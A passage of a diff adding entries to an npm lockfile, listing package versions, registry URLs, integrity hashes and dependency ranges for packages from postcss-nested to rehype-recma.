+ "camelcase-css": "^2.0.1"
+ },
+ "engines": {
+ "node": "^12 || ^14 || >= 16"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/postcss/"
+ },
+ "peerDependencies": {
+ "postcss": "^8.4.21"
+ }
+ },
+ "node_modules/postcss-load-config": {
+ "version": "4.0.2",
+ "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-4.0.2.tgz",
+ "integrity": "sha512-bSVhyJGL00wMVoPUzAVAnbEoWyqRxkjv64tUl427SKnPrENtq6hJwUojroMz2VB+Q1edmi4IfrAPpami5VVgMQ==",
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/postcss/"
+ },
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ],
+ "dependencies": {
+ "lilconfig": "^3.0.0",
+ "yaml": "^2.3.4"
+ },
+ "engines": {
+ "node": ">= 14"
+ },
+ "peerDependencies": {
+ "postcss": ">=8.0.9",
+ "ts-node": ">=9.0.0"
+ },
+ "peerDependenciesMeta": {
+ "postcss": {
+ "optional": true
+ },
+ "ts-node": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/postcss-nested": {
+ "version": "6.2.0",
+ "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-6.2.0.tgz",
+ "integrity": "sha512-HQbt28KulC5AJzG+cZtj9kvKB93CFCdLvog1WFLf1D+xmMvPGlBstkpTEZfK5+AN9hfJocyBFCNiqyS48bpgzQ==",
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/postcss/"
+ },
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ],
+ "dependencies": {
+ "postcss-selector-parser": "^6.1.1"
+ },
+ "engines": {
+ "node": ">=12.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.14"
+ }
+ },
+ "node_modules/postcss-selector-parser": {
+ "version": "6.1.2",
+ "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz",
+ "integrity": "sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==",
+ "dependencies": {
+ "cssesc": "^3.0.0",
+ "util-deprecate": "^1.0.2"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/postcss-value-parser": {
+ "version": "4.2.0",
+ "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz",
+ "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ=="
+ },
+ "node_modules/prelude-ls": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz",
+ "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==",
+ "engines": {
+ "node": ">= 0.8.0"
+ }
+ },
+ "node_modules/prismjs": {
+ "version": "1.30.0",
+ "resolved": "https://registry.npmjs.org/prismjs/-/prismjs-1.30.0.tgz",
+ "integrity": "sha512-DEvV2ZF2r2/63V+tK8hQvrR2ZGn10srHbXviTlcv7Kpzw8jWiNTqbVgjO3IY8RxrrOUF8VPMQQFysYYYv0YZxw==",
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/process": {
+ "version": "0.11.10",
+ "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz",
+ "integrity": "sha512-cdGef/drWFoydD1JsMzuFf8100nZl+GT+yacc2bEced5f9Rjk4z+WtFUTBu9PhOi9j/jfmBPu0mMEY4wIdAF8A==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 0.6.0"
+ }
+ },
+ "node_modules/prop-types": {
+ "version": "15.8.1",
+ "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz",
+ "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==",
+ "dependencies": {
+ "loose-envify": "^1.4.0",
+ "object-assign": "^4.1.1",
+ "react-is": "^16.13.1"
+ }
+ },
+ "node_modules/property-information": {
+ "version": "6.5.0",
+ "resolved": "https://registry.npmjs.org/property-information/-/property-information-6.5.0.tgz",
+ "integrity": "sha512-PgTgs/BlvHxOu8QuEN7wi5A0OmXaBcHpmCSTehcs6Uuu9IkDIEo13Hy7n898RHfrQ49vKCoGeWZSaAK01nwVig==",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/proxy-from-env": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz",
+ "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg=="
+ },
+ "node_modules/punycode": {
+ "version": "2.3.1",
+ "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz",
+ "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==",
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/querystringify": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz",
+ "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==",
+ "license": "MIT"
+ },
+ "node_modules/queue-microtask": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz",
+ "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==",
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/feross"
+ },
+ {
+ "type": "patreon",
+ "url": "https://www.patreon.com/feross"
+ },
+ {
+ "type": "consulting",
+ "url": "https://feross.org/support"
+ }
+ ]
+ },
+ "node_modules/ramda": {
+ "version": "0.30.1",
+ "resolved": "https://registry.npmjs.org/ramda/-/ramda-0.30.1.tgz",
+ "integrity": "sha512-tEF5I22zJnuclswcZMc8bDIrwRHRzf+NqVEmqg50ShAZMP7MWeR/RGDthfM/p+BlqvF2fXAzpn8i+SJcYD3alw==",
+ "license": "MIT",
+ "peer": true,
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/ramda"
+ }
+ },
+ "node_modules/ramda-adjunct": {
+ "version": "5.1.0",
+ "resolved": "https://registry.npmjs.org/ramda-adjunct/-/ramda-adjunct-5.1.0.tgz",
+ "integrity": "sha512-8qCpl2vZBXEJyNbi4zqcgdfHtcdsWjOGbiNSEnEBrM6Y0OKOT8UxJbIVGm1TIcjaSu2MxaWcgtsNlKlCk7o7qg==",
+ "license": "BSD-3-Clause",
+ "engines": {
+ "node": ">=0.10.3"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/ramda-adjunct"
+ },
+ "peerDependencies": {
+ "ramda": ">= 0.30.0"
+ }
+ },
+ "node_modules/randexp": {
+ "version": "0.5.3",
+ "resolved": "https://registry.npmjs.org/randexp/-/randexp-0.5.3.tgz",
+ "integrity": "sha512-U+5l2KrcMNOUPYvazA3h5ekF80FHTUG+87SEAmHZmolh1M+i/WyTCxVzmi+tidIa1tM4BSe8g2Y/D3loWDjj+w==",
+ "license": "MIT",
+ "dependencies": {
+ "drange": "^1.0.2",
+ "ret": "^0.2.0"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/randombytes": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz",
+ "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==",
+ "license": "MIT",
+ "dependencies": {
+ "safe-buffer": "^5.1.0"
+ }
+ },
+ "node_modules/react": {
+ "version": "18.3.1",
+ "resolved": "https://registry.npmjs.org/react/-/react-18.3.1.tgz",
+ "integrity": "sha512-wS+hAgJShR0KhEvPJArfuPVN1+Hz1t0Y6n5jLrGQbkb4urgPE/0Rve+1kMB1v/oWgHgm4WIcV+i7F2pTVj+2iQ==",
+ "peer": true,
+ "dependencies": {
+ "loose-envify": "^1.1.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/react-copy-to-clipboard": {
+ "version": "5.1.0",
+ "resolved": "https://registry.npmjs.org/react-copy-to-clipboard/-/react-copy-to-clipboard-5.1.0.tgz",
+ "integrity": "sha512-k61RsNgAayIJNoy9yDsYzDe/yAZAzEbEgcz3DZMhF686LEyukcE1hzurxe85JandPUG+yTfGVFzuEw3xt8WP/A==",
+ "license": "MIT",
+ "dependencies": {
+ "copy-to-clipboard": "^3.3.1",
+ "prop-types": "^15.8.1"
+ },
+ "peerDependencies": {
+ "react": "^15.3.0 || 16 || 17 || 18"
+ }
+ },
+ "node_modules/react-day-picker": {
+ "version": "8.10.1",
+ "resolved": "https://registry.npmjs.org/react-day-picker/-/react-day-picker-8.10.1.tgz",
+ "integrity": "sha512-TMx7fNbhLk15eqcMt+7Z7S2KF7mfTId/XJDjKE8f+IUcFn0l08/kI4FiYTL/0yuOLmEcbR4Fwe3GJf/NiiMnPA==",
+ "funding": {
+ "type": "individual",
+ "url": "https://github.com/sponsors/gpbl"
+ },
+ "peerDependencies": {
+ "date-fns": "^2.28.0 || ^3.0.0",
+ "react": "^16.8.0 || ^17.0.0 || ^18.0.0"
+ }
+ },
+ "node_modules/react-debounce-input": {
+ "version": "3.3.0",
+ "resolved": "https://registry.npmjs.org/react-debounce-input/-/react-debounce-input-3.3.0.tgz",
+ "integrity": "sha512-VEqkvs8JvY/IIZvh71Z0TC+mdbxERvYF33RcebnodlsUZ8RSgyKe2VWaHXv4+/8aoOgXLxWrdsYs2hDhcwbUgA==",
+ "license": "MIT",
+ "dependencies": {
+ "lodash.debounce": "^4",
+ "prop-types": "^15.8.1"
+ },
+ "peerDependencies": {
+ "react": "^15.3.0 || 16 || 17 || 18"
+ }
+ },
+ "node_modules/react-dom": {
+ "version": "18.3.1",
+ "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-18.3.1.tgz",
+ "integrity": "sha512-5m4nQKp+rZRb09LNH59GM4BxTh9251/ylbKIbpe7TpGxfJ+9kv6BLkLBXIjjspbgbnIBNqlI23tRnTWT0snUIw==",
+ "peer": true,
+ "dependencies": {
+ "loose-envify": "^1.1.0",
+ "scheduler": "^0.23.2"
+ },
+ "peerDependencies": {
+ "react": "^18.3.1"
+ }
+ },
+ "node_modules/react-hook-form": {
+ "version": "7.54.1",
+ "resolved": "https://registry.npmjs.org/react-hook-form/-/react-hook-form-7.54.1.tgz",
+ "integrity": "sha512-PUNzFwQeQ5oHiiTUO7GO/EJXGEtuun2Y1A59rLnZBBj+vNEOWt/3ERTiG1/zt7dVeJEM+4vDX/7XQ/qanuvPMg==",
+ "peer": true,
+ "engines": {
+ "node": ">=18.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/react-hook-form"
+ },
+ "peerDependencies": {
+ "react": "^16.8.0 || ^17 || ^18 || ^19"
+ }
+ },
+ "node_modules/react-immutable-proptypes": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/react-immutable-proptypes/-/react-immutable-proptypes-2.2.0.tgz",
+ "integrity": "sha512-Vf4gBsePlwdGvSZoLSBfd4HAP93HDauMY4fDjXhreg/vg6F3Fj/MXDNyTbltPC/xZKmZc+cjLu3598DdYK6sgQ==",
+ "license": "MIT",
+ "dependencies": {
+ "invariant": "^2.2.2"
+ },
+ "peerDependencies": {
+ "immutable": ">=3.6.2"
+ }
+ },
+ "node_modules/react-immutable-pure-component": {
+ "version": "2.2.2",
+ "resolved": "https://registry.npmjs.org/react-immutable-pure-component/-/react-immutable-pure-component-2.2.2.tgz",
+ "integrity": "sha512-vkgoMJUDqHZfXXnjVlG3keCxSO/U6WeDQ5/Sl0GK2cH8TOxEzQ5jXqDXHEL/jqk6fsNxV05oH5kD7VNMUE2k+A==",
+ "license": "MIT",
+ "peerDependencies": {
+ "immutable": ">= 2 || >= 4.0.0-rc",
+ "react": ">= 16.6",
+ "react-dom": ">= 16.6"
+ }
+ },
+ "node_modules/react-inspector": {
+ "version": "6.0.2",
+ "resolved": "https://registry.npmjs.org/react-inspector/-/react-inspector-6.0.2.tgz",
+ "integrity": "sha512-x+b7LxhmHXjHoU/VrFAzw5iutsILRoYyDq97EDYdFpPLcvqtEzk4ZSZSQjnFPbr5T57tLXnHcqFYoN1pI6u8uQ==",
+ "license": "MIT",
+ "peerDependencies": {
+ "react": "^16.8.4 || ^17.0.0 || ^18.0.0"
+ }
+ },
+ "node_modules/react-is": {
+ "version": "16.13.1",
+ "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz",
+ "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="
+ },
+ "node_modules/react-markdown": {
+ "version": "9.0.3",
+ "resolved": "https://registry.npmjs.org/react-markdown/-/react-markdown-9.0.3.tgz",
+ "integrity": "sha512-Yk7Z94dbgYTOrdk41Z74GoKA7rThnsbbqBTRYuxoe08qvfQ9tJVhmAKw6BJS/ZORG7kTy/s1QvYzSuaoBA1qfw==",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "devlop": "^1.0.0",
+ "hast-util-to-jsx-runtime": "^2.0.0",
+ "html-url-attributes": "^3.0.0",
+ "mdast-util-to-hast": "^13.0.0",
+ "remark-parse": "^11.0.0",
+ "remark-rehype": "^11.0.0",
+ "unified": "^11.0.0",
+ "unist-util-visit": "^5.0.0",
+ "vfile": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ },
+ "peerDependencies": {
+ "@types/react": ">=18",
+ "react": ">=18"
+ }
+ },
+ "node_modules/react-redux": {
+ "version": "9.2.0",
+ "resolved": "https://registry.npmjs.org/react-redux/-/react-redux-9.2.0.tgz",
+ "integrity": "sha512-ROY9fvHhwOD9ySfrF0wmvu//bKCQ6AeZZq1nJNtbDC+kk5DuSuNX/n6YWYF/SYy7bSba4D4FSz8DJeKY/S/r+g==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/use-sync-external-store": "^0.0.6",
+ "use-sync-external-store": "^1.4.0"
+ },
+ "peerDependencies": {
+ "@types/react": "^18.2.25 || ^19",
+ "react": "^18.0 || ^19",
+ "redux": "^5.0.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ },
+ "redux": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/react-remove-scroll": {
+ "version": "2.6.0",
+ "resolved": "https://registry.npmjs.org/react-remove-scroll/-/react-remove-scroll-2.6.0.tgz",
+ "integrity": "sha512-I2U4JVEsQenxDAKaVa3VZ/JeJZe0/2DxPWL8Tj8yLKctQJQiZM52pn/GWFpSp8dftjM3pSAHVJZscAnC/y+ySQ==",
+ "dependencies": {
+ "react-remove-scroll-bar": "^2.3.6",
+ "react-style-singleton": "^2.2.1",
+ "tslib": "^2.1.0",
+ "use-callback-ref": "^1.3.0",
+ "use-sidecar": "^1.1.2"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "peerDependencies": {
+ "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0",
+ "react": "^16.8.0 || ^17.0.0 || ^18.0.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/react-remove-scroll-bar": {
+ "version": "2.3.6",
+ "resolved": "https://registry.npmjs.org/react-remove-scroll-bar/-/react-remove-scroll-bar-2.3.6.tgz",
+ "integrity": "sha512-DtSYaao4mBmX+HDo5YWYdBWQwYIQQshUV/dVxFxK+KM26Wjwp1gZ6rv6OC3oujI6Bfu6Xyg3TwK533AQutsn/g==",
+ "dependencies": {
+ "react-style-singleton": "^2.2.1",
+ "tslib": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "peerDependencies": {
+ "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0",
+ "react": "^16.8.0 || ^17.0.0 || ^18.0.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/react-resizable-panels": {
+ "version": "2.1.7",
+ "resolved": "https://registry.npmjs.org/react-resizable-panels/-/react-resizable-panels-2.1.7.tgz",
+ "integrity": "sha512-JtT6gI+nURzhMYQYsx8DKkx6bSoOGFp7A3CwMrOb8y5jFHFyqwo9m68UhmXRw57fRVJksFn1TSlm3ywEQ9vMgA==",
+ "peerDependencies": {
+ "react": "^16.14.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc",
+ "react-dom": "^16.14.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc"
+ }
+ },
+ "node_modules/react-smooth": {
+ "version": "4.0.3",
+ "resolved": "https://registry.npmjs.org/react-smooth/-/react-smooth-4.0.3.tgz",
+ "integrity": "sha512-PyxIrra8WZWrMRFcCiJsZ+JqFaxEINAt+v/w++wQKQlmO99Eh3+JTLeKApdTsLX2roBdWYXqPsaS8sO4UmdzIg==",
+ "dependencies": {
+ "fast-equals": "^5.0.1",
+ "prop-types": "^15.8.1",
+ "react-transition-group": "^4.4.5"
+ },
+ "peerDependencies": {
+ "react": "^16.8.0 || ^17.0.0 || ^18.0.0",
+ "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0"
+ }
+ },
+ "node_modules/react-style-singleton": {
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/react-style-singleton/-/react-style-singleton-2.2.1.tgz",
+ "integrity": "sha512-ZWj0fHEMyWkHzKYUr2Bs/4zU6XLmq9HsgBURm7g5pAVfyn49DgUiNgY2d4lXRlYSiCif9YBGpQleewkcqddc7g==",
+ "dependencies": {
+ "get-nonce": "^1.0.0",
+ "invariant": "^2.2.4",
+ "tslib": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "peerDependencies": {
+ "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0",
+ "react": "^16.8.0 || ^17.0.0 || ^18.0.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/react-syntax-highlighter": {
+ "version": "16.1.0",
+ "resolved": "https://registry.npmjs.org/react-syntax-highlighter/-/react-syntax-highlighter-16.1.0.tgz",
+ "integrity": "sha512-E40/hBiP5rCNwkeBN1vRP+xow1X0pndinO+z3h7HLsHyjztbyjfzNWNKuAsJj+7DLam9iT4AaaOZnueCU+Nplg==",
+ "license": "MIT",
+ "dependencies": {
+ "@babel/runtime": "^7.28.4",
+ "highlight.js": "^10.4.1",
+ "highlightjs-vue": "^1.0.0",
+ "lowlight": "^1.17.0",
+ "prismjs": "^1.30.0",
+ "refractor": "^5.0.0"
+ },
+ "engines": {
+ "node": ">= 16.20.2"
+ },
+ "peerDependencies": {
+ "react": ">= 0.14.0"
+ }
+ },
+ "node_modules/react-transition-group": {
+ "version": "4.4.5",
+ "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-4.4.5.tgz",
+ "integrity": "sha512-pZcd1MCJoiKiBR2NRxeCRg13uCXbydPnmB4EOeRrY7480qNWO8IIgQG6zlDkm6uRMsURXPuKq0GWtiM59a5Q6g==",
+ "dependencies": {
+ "@babel/runtime": "^7.5.5",
+ "dom-helpers": "^5.0.1",
+ "loose-envify": "^1.4.0",
+ "prop-types": "^15.6.2"
+ },
+ "peerDependencies": {
+ "react": ">=16.6.0",
+ "react-dom": ">=16.6.0"
+ }
+ },
+ "node_modules/read-cache": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz",
+ "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==",
+ "dependencies": {
+ "pify": "^2.3.0"
+ }
+ },
+ "node_modules/read-input": {
+ "version": "0.3.1",
+ "resolved": "https://registry.npmjs.org/read-input/-/read-input-0.3.1.tgz",
+ "integrity": "sha512-J1ZkWCnB4altU7RTe+62PSfa21FrEtfKyO9fuqR3yP8kZku3nIwaw2Krj383JC7egAIl5Zyz2w+EOu9uXH5HZw=="
+ },
+ "node_modules/readdirp": {
+ "version": "3.6.0",
+ "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
+ "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
+ "dependencies": {
+ "picomatch": "^2.2.1"
+ },
+ "engines": {
+ "node": ">=8.10.0"
+ }
+ },
+ "node_modules/recharts": {
+ "version": "2.15.0",
+ "resolved": "https://registry.npmjs.org/recharts/-/recharts-2.15.0.tgz",
+ "integrity": "sha512-cIvMxDfpAmqAmVgc4yb7pgm/O1tmmkl/CjrvXuW+62/+7jj/iF9Ykm+hb/UJt42TREHMyd3gb+pkgoa2MxgDIw==",
+ "dependencies": {
+ "clsx": "^2.0.0",
+ "eventemitter3": "^4.0.1",
+ "lodash": "^4.17.21",
+ "react-is": "^18.3.1",
+ "react-smooth": "^4.0.0",
+ "recharts-scale": "^0.4.4",
+ "tiny-invariant": "^1.3.1",
+ "victory-vendor": "^36.6.8"
+ },
+ "engines": {
+ "node": ">=14"
+ },
+ "peerDependencies": {
+ "react": "^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0",
+ "react-dom": "^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0"
+ }
+ },
+ "node_modules/recharts-scale": {
+ "version": "0.4.5",
+ "resolved": "https://registry.npmjs.org/recharts-scale/-/recharts-scale-0.4.5.tgz",
+ "integrity": "sha512-kivNFO+0OcUNu7jQquLXAxz1FIwZj8nrj+YkOKc5694NbjCvcT6aSZiIzNzd2Kul4o4rTto8QVR9lMNtxD4G1w==",
+ "dependencies": {
+ "decimal.js-light": "^2.4.1"
+ }
+ },
+ "node_modules/recharts/node_modules/react-is": {
+ "version": "18.3.1",
+ "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz",
+ "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="
+ },
+ "node_modules/recma-build-jsx": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/recma-build-jsx/-/recma-build-jsx-1.0.0.tgz",
+ "integrity": "sha512-8GtdyqaBcDfva+GUKDr3nev3VpKAhup1+RvkMvUxURHpW7QyIvk9F5wz7Vzo06CEMSilw6uArgRqhpiUcWp8ew==",
+ "dependencies": {
+ "@types/estree": "^1.0.0",
+ "estree-util-build-jsx": "^3.0.0",
+ "vfile": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/recma-jsx": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/recma-jsx/-/recma-jsx-1.0.0.tgz",
+ "integrity": "sha512-5vwkv65qWwYxg+Atz95acp8DMu1JDSqdGkA2Of1j6rCreyFUE/gp15fC8MnGEuG1W68UKjM6x6+YTWIh7hZM/Q==",
+ "dependencies": {
+ "acorn-jsx": "^5.0.0",
+ "estree-util-to-js": "^2.0.0",
+ "recma-parse": "^1.0.0",
+ "recma-stringify": "^1.0.0",
+ "unified": "^11.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/recma-parse": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/recma-parse/-/recma-parse-1.0.0.tgz",
+ "integrity": "sha512-OYLsIGBB5Y5wjnSnQW6t3Xg7q3fQ7FWbw/vcXtORTnyaSFscOtABg+7Pnz6YZ6c27fG1/aN8CjfwoUEUIdwqWQ==",
+ "dependencies": {
+ "@types/estree": "^1.0.0",
+ "esast-util-from-js": "^2.0.0",
+ "unified": "^11.0.0",
+ "vfile": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/recma-stringify": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/recma-stringify/-/recma-stringify-1.0.0.tgz",
+ "integrity": "sha512-cjwII1MdIIVloKvC9ErQ+OgAtwHBmcZ0Bg4ciz78FtbT8In39aAYbaA7zvxQ61xVMSPE8WxhLwLbhif4Js2C+g==",
+ "dependencies": {
+ "@types/estree": "^1.0.0",
+ "estree-util-to-js": "^2.0.0",
+ "unified": "^11.0.0",
+ "vfile": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/redux": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/redux/-/redux-5.0.1.tgz",
+ "integrity": "sha512-M9/ELqF6fy8FwmkpnF0S3YKOqMyoWJ4+CS5Efg2ct3oY9daQvd/Pc71FpGZsVsbl3Cpb+IIcjBDUnnyBdQbq4w==",
+ "license": "MIT",
+ "peer": true
+ },
+ "node_modules/reflect.getprototypeof": {
+ "version": "1.0.8",
+ "resolved": "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.8.tgz",
+ "integrity": "sha512-B5dj6usc5dkk8uFliwjwDHM8To5/QwdKz9JcBZ8Ic4G1f0YmeeJTtE/ZTdgRFPAfxZFiUaPhZ1Jcs4qeagItGQ==",
+ "dependencies": {
+ "call-bind": "^1.0.8",
+ "define-properties": "^1.2.1",
+ "dunder-proto": "^1.0.0",
+ "es-abstract": "^1.23.5",
+ "es-errors": "^1.3.0",
+ "get-intrinsic": "^1.2.4",
+ "gopd": "^1.2.0",
+ "which-builtin-type": "^1.2.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/refractor": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/refractor/-/refractor-5.0.0.tgz",
+ "integrity": "sha512-QXOrHQF5jOpjjLfiNk5GFnWhRXvxjUVnlFxkeDmewR5sXkr3iM46Zo+CnRR8B+MDVqkULW4EcLVcRBNOPXHosw==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "@types/prismjs": "^1.0.0",
+ "hastscript": "^9.0.0",
+ "parse-entities": "^4.0.0"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/regexp.prototype.flags": {
+ "version": "1.5.3",
+ "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.3.tgz",
+ "integrity": "sha512-vqlC04+RQoFalODCbCumG2xIOvapzVMHwsyIGM/SIE8fRhFFsXeH8/QQ+s0T0kDAhKc4k30s73/0ydkHQz6HlQ==",
+ "dependencies": {
+ "call-bind": "^1.0.7",
+ "define-properties": "^1.2.1",
+ "es-errors": "^1.3.0",
+ "set-function-name": "^2.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/rehype-autolink-headings": {
+ "version": "7.1.0",
+ "resolved": "https://registry.npmjs.org/rehype-autolink-headings/-/rehype-autolink-headings-7.1.0.tgz",
+ "integrity": "sha512-rItO/pSdvnvsP4QRB1pmPiNHUskikqtPojZKJPPPAVx9Hj8i8TwMBhofrrAYRhYOOBZH9tgmG5lPqDLuIWPWmw==",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "@ungap/structured-clone": "^1.0.0",
+ "hast-util-heading-rank": "^3.0.0",
+ "hast-util-is-element": "^3.0.0",
+ "unified": "^11.0.0",
+ "unist-util-visit": "^5.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/rehype-raw": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/rehype-raw/-/rehype-raw-7.0.0.tgz",
+ "integrity": "sha512-/aE8hCfKlQeA8LmyeyQvQF3eBiLRGNlfBJEvWH7ivp9sBqs7TNqBL5X3v157rM4IFETqDnIOO+z5M/biZbo9Ww==",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "hast-util-raw": "^9.0.0",
+ "vfile": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/rehype-recma": {
+ "version": "1.0.0",
